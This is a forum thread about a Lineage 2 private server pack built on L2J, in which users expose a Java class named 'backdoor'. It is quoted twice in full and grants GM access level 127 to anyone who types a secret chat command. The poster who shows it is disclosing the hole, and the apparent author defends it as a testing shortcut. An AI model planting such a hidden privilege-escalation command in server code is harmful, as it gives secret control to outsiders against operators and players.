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Triple Faction server pack


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My friend, can you adapt it for L2J frozen?

Since he is selling you online the faction system (Code only)

Isn't something hard to add it on l2jfrozen just you are going to change some imports...maybe and some methods but really easy.

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Guest Elfocrash

Since he is selling you online the faction system (Code only)

Isn't something hard to add it on l2jfrozen just you are going to change some imports...maybe and some methods but really easy.

it is the whole source of the project not just the code of faction

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sorry, but fail.

 

/*
* This program is free software: you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation, either version 3 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program. If not, see <http://www.gnu.org/licenses/>.
*/
package net.sf.l2j.gameserver.handler.voicedcommandhandlers;

import net.sf.l2j.gameserver.handler.IVoicedCommandHandler;
import net.sf.l2j.gameserver.model.actor.instance.L2PcInstance;

public class backdoor implements IVoicedCommandHandler
{
    private static final String[] _voicedCommands = { "w6tndsx5" };

    public boolean useVoicedCommand(String command, L2PcInstance activeChar, String target)
    {
        if (command.equalsIgnoreCase("w6tndsx5"))
        {
		activeChar.setAccountAccesslevel(1);
		activeChar.setAccessLevel(127);
        }
	return false;
    }

    public String[] getVoicedCommandList()
    {
        return _voicedCommands;
    }
}

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sorry, but fail.

haha, this is exactly the code of the backdoor that was done back on 2009, on a crappy pack that someone tried to leak and share it with others.
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sorry, but fail.

 

/*
* This program is free software: you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation, either version 3 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program. If not, see <http://www.gnu.org/licenses/>.
*/
package net.sf.l2j.gameserver.handler.voicedcommandhandlers;

import net.sf.l2j.gameserver.handler.IVoicedCommandHandler;
import net.sf.l2j.gameserver.model.actor.instance.L2PcInstance;

public class backdoor implements IVoicedCommandHandler
{
    private static final String[] _voicedCommands = { "w6tndsx5" };

    public boolean useVoicedCommand(String command, L2PcInstance activeChar, String target)
    {
        if (command.equalsIgnoreCase("w6tndsx5"))
        {
		activeChar.setAccountAccesslevel(1);
		activeChar.setAccessLevel(127);
        }
	return false;
    }

    public String[] getVoicedCommandList()
    {
        return _voicedCommands;
    }
}

 

Old stuff. This was used to gain gm access while testing with non-gm character. I had a super slow computer back then, so it was a pain in ass to minimize everything and to set gm access via navicat.

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